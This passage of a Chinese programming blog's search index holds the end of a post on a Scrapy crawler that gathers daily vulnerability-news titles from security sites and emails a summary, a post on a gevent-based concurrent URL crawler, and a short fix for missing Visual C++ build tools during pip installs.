class="params">self, request, spider</span>):</span><br><span class="line">        self.driver.get(request.url)</span><br><span class="line">        time.sleep(<span class="number">3</span>)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            body = self.driver.page_source</span><br><span class="line">            <span class="keyword">return</span> HtmlResponse(self.driver.current_url, body=body, encoding=<span class="string">&#x27;utf-8&#x27;</span>, request=request)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="comment"># Timeout on WebDriverWait</span></span><br><span class="line">            logging.error(e)</span><br><span class="line">            <span class="keyword">raise</span> IgnoreRequest</span><br></pre></td></tr></table></figure>

<p>seebug.py</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> scrapy</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zjyd.items <span class="keyword">import</span> ZjydItem</span><br><span class="line"><span class="keyword">from</span> scrapy.utils.project <span class="keyword">import</span> get_project_settings</span><br><span class="line"></span><br><span class="line">settings = get_project_settings()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SeebugSpider</span>(scrapy.Spider):</span><br><span class="line">    name = <span class="string">&#x27;seebug&#x27;</span></span><br><span class="line">    allowed_domains = [<span class="string">&#x27;seebug.org&#x27;</span>]</span><br><span class="line">    custom_settings = &#123;</span><br><span class="line">        <span class="string">&#x27;DOWNLOADER_MIDDLEWARES&#x27;</span>: &#123;</span><br><span class="line">            <span class="string">&#x27;zjyd.pipelines.SeleniumMiddleware&#x27;</span>: <span class="number">723</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">start_requests</span>(<span class="params">self</span>):</span><br><span class="line">        keywords = <span class="built_in">list</span>(settings[<span class="string">&#x27;KEYWORDS&#x27;</span>])</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> keywords:</span><br><span class="line">            <span class="keyword">yield</span> scrapy.Request(url=(<span class="string">&#x27;https://www.seebug.org/search/?keywords=%s&amp;category=&amp;page=1&#x27;</span> % <span class="built_in">str</span>(i)), callback=self.parse)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">self, response</span>):</span><br><span class="line">        item = ZjydItem()</span><br><span class="line">        <span class="keyword">if</span> response.xpath(<span class="string">&quot;//table[@class=&#x27;table sebug-table table-vul-list&#x27;]/tbody/tr&quot;</span>):</span><br><span class="line">            page = <span class="built_in">int</span>(response.url[response.url.find(<span class="string">&#x27;page=&#x27;</span>) + <span class="number">5</span>]) + <span class="number">1</span></span><br><span class="line">            next_page = response.url[:response.url.find(<span class="string">&#x27;page=&#x27;</span>) + <span class="number">5</span>] + <span class="built_in">str</span>(page)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            next_page = <span class="literal">None</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> response.xpath(<span class="string">&quot;//table[@class=&#x27;table sebug-table table-vul-list&#x27;]/tbody/tr&quot;</span>):</span><br><span class="line">            <span class="keyword">if</span> i.xpath(<span class="string">&quot;td[@class=&#x27;text-center datetime hidden-sm hidden-xs&#x27;]/text()&quot;</span>).extract_first().strip()[:-<span class="number">6</span>] == time.strftime(<span class="string">&quot;%Y-%m-%d&quot;</span>).decode(<span class="string">&#x27;utf-8&#x27;</span>):</span><br><span class="line">                item[<span class="string">&#x27;source&#x27;</span>] = <span class="string">&#x27;seebug&#x27;</span></span><br><span class="line">                item[<span class="string">&#x27;title&#x27;</span>] = i.xpath(<span class="string">&quot;td[@class=&#x27;vul-title-wrapper&#x27;]/a[@class=&#x27;vul-title&#x27;]/text()&quot;</span>).extract_first()</span><br><span class="line">                item[<span class="string">&#x27;time&#x27;</span>] = i.xpath(<span class="string">&quot;td[@class=&#x27;text-center datetime hidden-sm hidden-xs&#x27;]/text()&quot;</span>).extract_first().strip()</span><br><span class="line">                item[<span class="string">&#x27;url&#x27;</span>] = <span class="string">u&#x27;https://www.seebug.org&#x27;</span> + i.xpath(<span class="string">&quot;td[@class=&#x27;vul-title-wrapper&#x27;]/a[@class=&#x27;vul-title&#x27;]/href&quot;</span>).extract_first()</span><br><span class="line">                item[<span class="string">&#x27;content&#x27;</span>] = i.xpath(<span class="string">&quot;td[@class=&#x27;vul-title-wrapper&#x27;]/a[@class=&#x27;vul-title&#x27;]/text()&quot;</span>).extract_first()</span><br><span class="line">                item[<span class="string">&#x27;author&#x27;</span>] = <span class="string">u&#x27;null&#x27;</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                next_page = <span class="literal">None</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">if</span> item:</span><br><span class="line">            <span class="keyword">yield</span> item</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            self.log(<span class="string">&#x27;%s is none!&#x27;</span> % (response.url))</span><br><span class="line">        <span class="keyword">if</span> next_page <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            next_page = response.urljoin(next_page)</span><br><span class="line">            <span class="keyword">yield</span> scrapy.Request(next_page, callback=self.parse)</span><br><span class="line">        self.log(<span class="string">&quot;seebug sprider:%s&quot;</span> % (response.url))</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>Or setting.py</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">DOWNLOADER_MIDDLEWARES = &#123;</span><br><span class="line">   <span class="string">&#x27;zjyd.middlewares.ZjydDownloaderMiddleware&#x27;</span>: <span class="number">543</span>,</span><br><span class="line">    <span class="string">&#x27;scrapy.downloadermiddlewares.retry.RetryMiddleware&#x27;</span>: <span class="number">90</span>,</span><br><span class="line">    <span class="string">&#x27;scrapy_proxies.RandomProxy&#x27;</span>: <span class="number">100</span>,</span><br><span class="line">    <span class="string">&#x27;scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware&#x27;</span>: <span class="number">110</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>通过上面的配置就可以将seebug的内容解析出来，并进行数据存储。</p>
<h1 id="项目整合"><a href="#项目整合" class="headerlink" title="项目整合"></a>项目整合</h1><p>现在项目上有freebuf、seebug等爬虫，通过<code>scrapy list</code>可以查看项目下一共有多少个爬虫。</p>
<p><img data-src="https://i.loli.net/2018/12/02/5c0374a60dc98.png" alt="scrapy list"></p>
<h2 id="爬虫整合"><a href="#爬虫整合" class="headerlink" title="爬虫整合"></a>爬虫整合</h2><p>项目下每个爬虫为一个文件，并非所有爬虫都在一个文件、按照类进行划分。所以需要一个脚本，运行所有的爬虫。通过<span class="exturl" data-url="aHR0cHM6Ly9kb2Muc2NyYXB5Lm9yZy9lbi9sYXRlc3QvdG9waWNzL3ByYWN0aWNlcy5odG1sP2hpZ2hsaWdodD1DcmF3bGVyUHJvY2Vzcw==">官方文档<i class="fa fa-external-link-alt"></i></span>可以看到提供了API接口的方式运行爬虫。这里我采用将所有爬虫通过process.crawl进行运行。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> scrapy.crawler <span class="keyword">import</span> CrawlerProcess</span><br><span class="line"><span class="comment"># from scrapy import spiderloader</span></span><br><span class="line"><span class="keyword">from</span> scrapy.utils.project <span class="keyword">import</span> get_project_settings</span><br><span class="line"></span><br><span class="line">settings = CrawlerProcess(get_project_settings())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    process = CrawlerProcess(settings)</span><br><span class="line">    process.crawl(<span class="string">&#x27;freebuf&#x27;</span>, domain=<span class="string">&#x27;freebuf.com&#x27;</span>)</span><br><span class="line">    process.crawl(<span class="string">&#x27;vulbox&#x27;</span>, domain=<span class="string">&#x27;vulbox.com&#x27;</span>)</span><br><span class="line">    process.crawl(<span class="string">&#x27;anquanke&#x27;</span>, domain=<span class="string">&#x27;anquanke.com&#x27;</span>)</span><br><span class="line">    process.crawl(<span class="string">&#x27;bugbank&#x27;</span>, domain=<span class="string">&#x27;bugbank.com&#x27;</span>)</span><br><span class="line">    process.crawl(<span class="string">&#x27;seebug&#x27;</span>, domain=<span class="string">&#x27;seebug.com&#x27;</span>)</span><br><span class="line">    process.crawl(<span class="string">&#x27;cnvd&#x27;</span>, domain=<span class="string">&#x27;cnvd.org.cn&#x27;</span>)</span><br><span class="line">    <span class="comment"># spider_loader = spiderloader.SpiderLoader.from_settings(settings)</span></span><br><span class="line">    <span class="comment"># spiders = spider_loader.list()</span></span><br><span class="line">    <span class="comment"># classes = [spider_loader.load(name) for name in spiders]</span></span><br><span class="line">    <span class="comment"># for i in classes:</span></span><br><span class="line">    <span class="comment">#     process.crawl(i)</span></span><br><span class="line">    </span><br><span class="line">    process.start()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>通过上述方法就可以运行项目下的freebuf、vulbox等爬虫。</p>
<h2 id="邮件通知"><a href="#邮件通知" class="headerlink" title="邮件通知"></a>邮件通知</h2><p>现在爬虫所获的的数据都会存储在MongoDB数据库中，通过读取数据库中当前日期的数据，进行邮件通知即可。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># import os</span></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> pymongo</span><br><span class="line"><span class="keyword">import</span> scrapy</span><br><span class="line"><span class="keyword">import</span> smtplib</span><br><span class="line"><span class="keyword">from</span> email.header <span class="keyword">import</span> Header</span><br><span class="line"><span class="keyword">from</span> email.mime.text <span class="keyword">import</span> MIMEText</span><br><span class="line"><span class="keyword">from</span> scrapy.crawler <span class="keyword">import</span> CrawlerProcess</span><br><span class="line"><span class="keyword">from</span> scrapy.utils.project <span class="keyword">import</span> get_project_settings</span><br><span class="line"><span class="keyword">from</span> scrapy <span class="keyword">import</span> spiderloader</span><br><span class="line"></span><br><span class="line">settings = get_project_settings()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_mail</span>():</span><br><span class="line">    mongo_client = pymongo.MongoClient(host=settings[<span class="string">&quot;MONGODB_HOST&quot;</span>], port=settings[<span class="string">&quot;MONGODB_PORT&quot;</span>])</span><br><span class="line">    mongo_db = mongo_client[settings[<span class="string">&quot;MONGODB_DBNAME&quot;</span>]]</span><br><span class="line">    mongo_query = &#123;<span class="string">&#x27;time&#x27;</span>: time.strftime(<span class="string">&quot;%Y-%m-%d&quot;</span>).decode(<span class="string">&#x27;utf-8&#x27;</span>)&#125;</span><br><span class="line">    result = <span class="string">&quot;邮件更新提醒:\n&quot;</span></span><br><span class="line">    </span><br><span class="line">    spider_loader = spiderloader.SpiderLoader.from_settings(settings)</span><br><span class="line">    spiders = spider_loader.<span class="built_in">list</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> spiders:</span><br><span class="line">        mongo_col = mongo_db[i]</span><br><span class="line">        <span class="keyword">if</span> mongo_col.find(mongo_query).sort(<span class="string">&quot;ts&quot;</span>,pymongo.ASCENDING).count() != <span class="number">0</span>:</span><br><span class="line">            result += <span class="string">&#x27;%s 有更新,请注意查收!\n&#x27;</span> % (i)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            result += <span class="string">&#x27;%s无更新!\n&#x27;</span> % (i)</span><br><span class="line"></span><br><span class="line">    sender = settings[<span class="string">&quot;MAIL_SENDER&quot;</span>]</span><br><span class="line">    receivers = settings[<span class="string">&quot;MAIL_RECEIVERS&quot;</span>]</span><br><span class="line"></span><br><span class="line">    message = MIMEText(result,<span class="string">&#x27;plain&#x27;</span>,<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    message[<span class="string">&#x27;From&#x27;</span>] = Header(<span class="string">&quot;hywell&quot;</span>, <span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    message[<span class="string">&#x27;To&#x27;</span>] = receivers</span><br><span class="line">    subject = <span class="string">&quot;信息收集爬虫&quot;</span></span><br><span class="line">    message[<span class="string">&#x27;Subject&#x27;</span>] = Header(subject, <span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    smtpObj = smtplib.SMTP() </span><br><span class="line">    smtpObj.connect(settings[<span class="string">&quot;MAIL_HOST&quot;</span>], <span class="number">25</span>)</span><br><span class="line">    smtpObj.login(settings[<span class="string">&quot;MAIL_USER&quot;</span>], settings[<span class="string">&quot;MAIL_PASSWORD&quot;</span>]) </span><br><span class="line">    smtpObj.sendmail(sender, receivers, message.as_string())</span><br><span class="line"></span><br><span class="line">    mongo_client.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    process = CrawlerProcess(settings)</span><br><span class="line">    spider_loader = spiderloader.SpiderLoader.from_settings(settings)</span><br><span class="line">    spiders = spider_loader.<span class="built_in">list</span>()</span><br><span class="line">    classes = [spider_loader.load(name) <span class="keyword">for</span> name <span class="keyword">in</span> spiders]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> classes:</span><br><span class="line">        process.crawl(i)</span><br><span class="line"></span><br><span class="line">    process.start()</span><br><span class="line">    send_mail()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>python2.7越来越“老旧了”，新的模块很多都已经不支持python2.7，后续还是得开始使用python3进行编程。毕竟，python最主要的就是可以import module；</li>
<li>在进行邮件发送的时候，要注意邮箱服务器的设置，例如：密码是否需要设置为独立密码、发件人信息是否有与账号匹配校验等；</li>
<li>由于Chrome最新版本不支持CentOS6，我通过种种方式安装上了Chrome以及成功运行ChromeDriver，但是在运行时会出现卡在开始连接<code>[urllib3.connectionpool] DEBUG: Starting new HTTP connection (1): 127.0.0.1:1269</code>，后面改用Firefox。</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><p>完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0h5V2VsbC9QeXRob24vdHJlZS9tYXN0ZXIvQ3Jhd2xlci96anlk">Code<i class="fa fa-external-link-alt"></i></span>。</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>scrapy</tag>
        <tag>爬虫</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-并发爬虫</title>
    <url>/archives/426443e5.html</url>
    <content><![CDATA[<p>　现在数据就是王道，而爬虫就是获取数据的快速途径之一！</p>
<span id="more"></span>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p>　看标题，咱们就应该知道需要用到Python27。本文通过Python 结合 requests库进行爬取操作，BeautifulSoup4使用lxml进行解析操作，gevent进行并发操作。</p>
<h3 id="Python27"><a href="#Python27" class="headerlink" title="Python27"></a>Python27</h3><p>　选择对应的操作系统的<span class="exturl" data-url="aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9kb3dubG9hZHMvcmVsZWFzZS9weXRob24tMjcxMy8=">Python27<i class="fa fa-external-link-alt"></i></span>进行下载。下载完成进行安装，之后配置环境变量即可。环境变量需要配置两处，一处是Python27的安装目录，一处是Python27安装目录下的Scripts目录。</p>
<h3 id="环境变量配置"><a href="#环境变量配置" class="headerlink" title="环境变量配置"></a>环境变量配置</h3><p>　右键【我的电脑】→【属性】，点击【高级系统设置】中的【高级】选项卡中【环境变量】，在【系统变量】窗口中找到【Path】变量。点击【编辑】，加入对应的环境变量（例如D:\Code\Python27、D:\Code\Python27\Scripts）。如果是Win10系统，新建两条即可。如果是Win10等系统，点击编辑之后在后面加入<code>;D:\Code\Python27;D:\Code\Python27\Scripts</code>即可。<br><img data-src="https://i.loli.net/2017/08/12/598ed1cab3324.png" alt="环境变量.png"></p>
<figure class="highlight vim"><table><tr><td class="code"><pre><span class="line"><span class="keyword">python</span> --<span class="keyword">version</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/12/598e57d202304.png" alt="python --version.png"></p>
<figure class="highlight ada"><table><tr><td class="code"><pre><span class="line">pip <span class="comment">--version</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/12/598e5c1da50ec.png" alt="pip --version.png"></p>
<h3 id="Requests"><a href="#Requests" class="headerlink" title="Requests"></a>Requests</h3><p> 　使用pip快捷安装requests。</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> requests</span><br></pre></td></tr></table></figure>
<h3 id="BeautifulSoup"><a href="#BeautifulSoup" class="headerlink" title="BeautifulSoup"></a>BeautifulSoup</h3><p>　使用pip快捷安装BeautifulSoup4。</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> beautifulsoup4</span><br></pre></td></tr></table></figure>
<h3 id="lxml"><a href="#lxml" class="headerlink" title="lxml"></a>lxml</h3><p>　使用pip快捷安装lxml。</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> lxml</span><br></pre></td></tr></table></figure>
<h3 id="Gevent"><a href="#Gevent" class="headerlink" title="Gevent"></a>Gevent</h3><p>　使用pip快捷安装gevent。</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> gevent</span><br></pre></td></tr></table></figure>
<h2 id="爬取流程"><a href="#爬取流程" class="headerlink" title="爬取流程"></a>爬取流程</h2><p>　在准备阶段，咱们已经将“斧柄”、“斧刃”准备好了，到时候把两个组装起来，选一棵树，进行“伐木”工作。<br>　爬取流程分为：获得url、访问url、解析页面、获取页面url。</p>
<h3 id="入口url"><a href="#入口url" class="headerlink" title="入口url"></a>入口url</h3><p>　由于本文只爬取站点中存在的url，并不取特殊数据。因此，入口url可以自定义输入。</p>
<figure class="highlight reasonml"><table><tr><td class="code"><pre><span class="line">entry_url = raw<span class="constructor">_input(&#x27;Place <span class="params">enter</span> <span class="params">the</span> <span class="params">entry</span> <span class="params">url</span>:&#x27;)</span></span><br></pre></td></tr></table></figure>
<h3 id="请求页面"><a href="#请求页面" class="headerlink" title="请求页面"></a>请求页面</h3><p>　请求页面操作通过使用requests库来完成。如果对requests库感兴趣，可以参考<span class="exturl" data-url="aHR0cDovL2RvY3MucHl0aG9uLXJlcXVlc3RzLm9yZy9lbi9tYXN0ZXIv">官方文档<i class="fa fa-external-link-alt"></i></span>。<br>　想要使用requests库，需要先导入requests库。这步操作就是将斧柄(Pythnon27)、斧刃(requests)组装起来。</p>
<figure class="highlight elm"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br></pre></td></tr></table></figure>
<p>　接下来就需要使用requests库的get方法。</p>
<figure class="highlight abnf"><table><tr><td class="code"><pre><span class="line"><span class="attribute">r</span> <span class="operator">=</span> requests.get(entry_url)</span><br></pre></td></tr></table></figure>
<h3 id="解析页面"><a href="#解析页面" class="headerlink" title="解析页面"></a>解析页面</h3><p>　通过上面的操作，咱们已经获取了页面的信息。然后就是BeautifulSoup4发挥的时候了。如果对BeautifulSoup4库感兴趣，可以参考<span class="exturl" data-url="aHR0cHM6Ly93d3cuY3J1bW15LmNvbS9zb2Z0d2FyZS9CZWF1dGlmdWxTb3VwL2JzNC9kb2Mv">官方文档<i class="fa fa-external-link-alt"></i></span></p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br></pre></td></tr></table></figure>
<p>　本文爬虫只需要获取站点url即可，不需要获取站点特殊数据。因此，获取a标签的href方法的值即可。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">soup = <span class="built_in">BeautifulSoup</span>(r<span class="selector-class">.text</span>, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> <span class="selector-tag">i</span> <span class="keyword">in</span> soup<span class="selector-class">.find</span>(<span class="string">&#x27;a&#x27;</span>):</span><br><span class="line">    get_url = <span class="selector-tag">i</span><span class="selector-class">.get</span>(<span class="string">&#x27;href&#x27;</span>)</span><br></pre></td></tr></table></figure>
<h2 id="异步爬取"><a href="#异步爬取" class="headerlink" title="异步爬取"></a>异步爬取</h2><p>　异步爬取可以让程序执行更快，时间既是生命。如果对gevent库感兴趣，可以参考<span class="exturl" data-url="aHR0cDovL3d3dy5nZXZlbnQub3JnL2NvbnRlbnRzLmh0bWw=">官方文档<i class="fa fa-external-link-alt"></i></span>。</p>
<h3 id="队列"><a href="#队列" class="headerlink" title="队列"></a>队列</h3><p>　队列(Queue)适用于多线程编程，让数据安全地在生产者与消费者之间进行信息传递。<br>　让url放在队列数据结构中，可以让队列自动帮我们销毁已经被调用的url。</p>
<figure class="highlight lasso"><table><tr><td class="code"><pre><span class="line">from gevent.<span class="built_in">queue</span> <span class="keyword">import</span> <span class="built_in">Queue</span></span><br><span class="line"></span><br><span class="line">urlQueue = <span class="built_in">Queue</span>()</span><br></pre></td></tr></table></figure>
<h3 id="异步工作"><a href="#异步工作" class="headerlink" title="异步工作"></a>异步工作</h3><p>　将工作流程制作成函数，调用gevent.spawn形成工作队列。当适当的时候执行。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">import gevent</span><br><span class="line"></span><br><span class="line">threads=<span class="selector-attr">[]</span></span><br><span class="line">threads<span class="selector-class">.append</span>(gevent<span class="selector-class">.spawn</span>(work, **keyword))</span><br><span class="line">gevent<span class="selector-class">.joinall</span>(threads)</span><br></pre></td></tr></table></figure>

<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>　在编写并发爬虫的时候，遇到了几个问题，在此记录一下。</p>
<ol>
<li>url请求是http还是https，如果是https的话，需要将requests的verify设置为False;</li>
<li>并发的时候如何判断任务是否已经结束？我是通过判断队列为空并且无待工作的任务，不知道这种判断方式是否可取。有没有好心人告诉我有什么优雅的方式么;</li>
<li>如果对并发量不进行设置的话，有可能导致内存飙高。我通过对线程列表进行设置，当线程列表到100时就运行一次。同求优雅的方式;</li>
<li>href方法里面存在两种情况：包含域名(href&#x3D;”<span class="exturl" data-url="aHR0cDovL3h4eC5jb20vaW5kZXguaHRtbCUyMiklRUYlQkMlOEMlRTQlQjglOEQlRTUlOEMlODUlRTUlOTAlQUIlRTUlOUYlOUYlRTUlOTAlOEQoaHJlZj0lMjIvaW5kZXguaHRtbCUyMik=">http://xxx.com/index.html&quot;)，不包含域名(href=&quot;/index.html&quot;)<i class="fa fa-external-link-alt"></i></span>;</li>
<li>用户输入与href方法内情况不同。例如用户输入<span class="exturl" data-url="aHR0cHM6Ly93d3cuaWFzc2FzLmNvbSzpobXpnaJocmVm5qCH562+5pivaHR0cHMvL2lhc3Nhcy5jb20lRUYlQkMlODglRTYlODglOTYlRTglODAlODUlRTQlQjglQTQlRTglODAlODUlRTUlOEYlOEQlRTQlQjglODAlRTQlQjglOEIlRUYlQkMlODklRTMlODAlODIlRTclOEUlQjAlRTUlOUMlQTglRTUlQjAlQjElRTYlOEMlODklRTclODUlQTclRTclOTQlQTglRTYlODglQjclRTglQkUlOTMlRTUlODUlQTUlRTQlQjglQkElRTUlODclODY=">https://www.iassas.com，页面href标签是https://iassas.com（或者两者反一下）。现在就按照用户输入为准<i class="fa fa-external-link-alt"></i></span>;</li>
<li>子域名链接爬取，现在判断逻辑不爬取子域名;</li>
<li>href方法中的url有可能会带有#(跳转对应页面位置)，模拟浏览器是将#后面所有字符不当成url考虑;</li>
<li>url会被url编码，调用urllib.unquote来解码。</li>
</ol>
<h2 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h2><p>　完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**<a href="https://github.com/HyWell/Python/blob/master/Crawler/Gevent-requests.py"><font color=blue>Code</font></a>**。由于Web环境千奇百怪，程序出错在所难免。请体谅！</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>爬虫</tag>
      </tags>
  </entry>
  <entry>
    <title>python3 pip缺失VC++</title>
    <url>/archives/f62064af.html</url>
    <content><![CDATA[<p>最近使用python3的pip安装scrapy、mysql-python等库出错，需要安装Microsoft Visual C++。网上资料大部分通过源码方式解决，不能一劳永逸解决。这里我从根源解决。<br><img data-src="https://i.loli.net/2018/05/23/5b0549c166495.png" alt="success.png"></p>
<span id="more"></span>
<h1 id="VC-缺失"><a href="#VC-缺失" class="headerlink" title="VC++缺失"></a>VC++缺失</h1><p>使用<code>pip install scrapy</code>安装scrapy出现缺失VC++。<br><img data-src="https://i.loli.net/2018/05/23/5b054a41e5f7d.png" alt="pip install scrapy.png"><br>根据报错信息打开<span class="exturl" data-url="aHR0cDovL2xhbmRpbmdodWIudmlzdWFsc3R1ZGlvLmNvbS92aXN1YWwtY3BwLWJ1aWxkLXRvb2xz">VC Build Tools站点<i class="fa fa-external-link-alt"></i></span><br><img data-src="https://i.loli.net/2018/05/23/5b054a8bcc27d.png" alt="web vc.png"><br>点击红框中的链接，找到Visual Studio 2017 生成工具下载对应文件。<br><img data-src="https://i.loli.net/2018/05/23/5b054ac26425e.png" alt="vc build.png"><br>打开下载下来的vs_buildtools程序，勾选Visual C++生成工具，进行安装。<br><img data-src="https://i.loli.net/2018/05/23/5b054b2ecdc28.png" alt="VC++.png"><br>接下来安静等待安装完成。<br><img data-src="https://i.loli.net/2018/05/23/5b054b5ccd253.png" alt="SDK install.png"><br><img data-src="https://i.loli.net/2018/05/23/5b054b5d01b22.png" alt="install success.png"><br>安装完成之后，再使用<code>pip install scrapy</code>即可成功安装。<br><img data-src="https://i.loli.net/2018/05/23/5b0549c166495.png" alt="success.png"></p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python3</category>
      </categories>
      <tags>
        <tag>Code</tag>
        <tag>Python3</tag>
      </tags>
  </entry>
</search>
